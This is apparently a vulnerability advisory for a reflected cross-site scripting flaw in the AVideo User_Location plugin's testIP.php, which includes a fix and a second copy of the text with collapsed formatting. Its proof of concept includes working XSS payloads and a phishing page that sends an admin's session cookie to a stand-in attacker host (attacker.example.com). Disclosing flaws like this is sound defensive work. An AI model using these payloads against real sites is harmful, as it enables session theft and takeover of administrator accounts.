Summary
The User_Location plugin's testIP.php page reflects the ip request parameter directly into an HTML input element without applying htmlspecialchars() or any other output encoding. This allows an attacker to inject arbitrary HTML and JavaScript via a crafted URL. Although the page is restricted to admin users, AVideo's SameSite=None cookie configuration allows cross-origin exploitation, meaning an attacker can lure an admin to a malicious link that executes JavaScript in their authenticated session.
Details
At plugin/User_Location/testIP.php:16, the ip parameter is read from the request without sanitization:
At line 34, the value is echoed directly into an HTML input element's value attribute:
<input type="text" name="ip" id="ip" class="form-control" value="<?php echo $ip; ?>">
No htmlspecialchars() is applied, allowing an attacker to break out of the value attribute and inject arbitrary HTML/JavaScript.
While the page requires admin authentication to access, AVideo sets session cookies with SameSite=None. When an admin clicks a link from an external site (email, chat, another website), their session cookie is sent with the request, and the XSS payload executes in the context of their authenticated admin session.
Proof of Concept
- Craft a URL with a payload that breaks out of the input value attribute:
https://your-avideo-instance.com/plugin/User_Location/testIP.php?ip="><script>alert(document.cookie)</script>
- URL-encoded version for embedding in links:
https://your-avideo-instance.com/plugin/User_Location/testIP.php?ip=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
- The resulting HTML rendered in the browser:
<input type="text" name="ip" id="ip" class="form-control" value=""><script>alert(document.cookie)</script>">
- To exploit via cross-origin link (leveraging SameSite=None), host the following on an attacker-controlled page:
<!-- attacker-page.html -->
<html>
<body>
<p>Click here to check your IP geolocation:</p>
<a href="https://your-avideo-instance.com/plugin/User_Location/testIP.php?ip=%22%3E%3Cscript%3Edocument.location=%27https://attacker.example.com/steal?c=%27%2Bdocument.cookie%3C/script%3E">
Check IP Location
</a>
</body>
</html>
- When an admin clicks the link, their session cookie is sent (due to
SameSite=None), and the JavaScript executes in their authenticated session.
Impact
An attacker can execute arbitrary JavaScript in the context of an admin user's session by sending them a crafted link. Because AVideo uses SameSite=None for session cookies, the attack works from any external website. Successful exploitation allows the attacker to steal the admin session cookie, create new admin accounts, modify site configuration, upload malicious plugins, or perform any other admin action.
- CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)
- Severity: Medium
Recommended Fix
Apply htmlspecialchars() when outputting the $ip variable at plugin/User_Location/testIP.php:34:
// plugin/User_Location/testIP.php:34
<input type="text" name="ip" id="ip" class="form-control" value="<?php echo htmlspecialchars($ip, ENT_QUOTES, 'UTF-8'); ?>">
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Summary
The User_Location plugin's
testIP.phppage reflects theiprequest parameter directly into an HTML input element without applyinghtmlspecialchars()or any other output encoding. This allows an attacker to inject arbitrary HTML and JavaScript via a crafted URL. Although the page is restricted to admin users, AVideo'sSameSite=Nonecookie configuration allows cross-origin exploitation, meaning an attacker can lure an admin to a malicious link that executes JavaScript in their authenticated session.Details
At
plugin/User_Location/testIP.php:16, theipparameter is read from the request without sanitization:At line 34, the value is echoed directly into an HTML input element's
valueattribute:No
htmlspecialchars()is applied, allowing an attacker to break out of thevalueattribute and inject arbitrary HTML/JavaScript.While the page requires admin authentication to access, AVideo sets session cookies with
SameSite=None. When an admin clicks a link from an external site (email, chat, another website), their session cookie is sent with the request, and the XSS payload executes in the context of their authenticated admin session.Proof of Concept
SameSite=None), and the JavaScript executes in their authenticated session.Impact
An attacker can execute arbitrary JavaScript in the context of an admin user's session by sending them a crafted link. Because AVideo uses
SameSite=Nonefor session cookies, the attack works from any external website. Successful exploitation allows the attacker to steal the admin session cookie, create new admin accounts, modify site configuration, upload malicious plugins, or perform any other admin action.Recommended Fix
Apply
htmlspecialchars()when outputting the$ipvariable atplugin/User_Location/testIP.php:34:Found by aisafe.io
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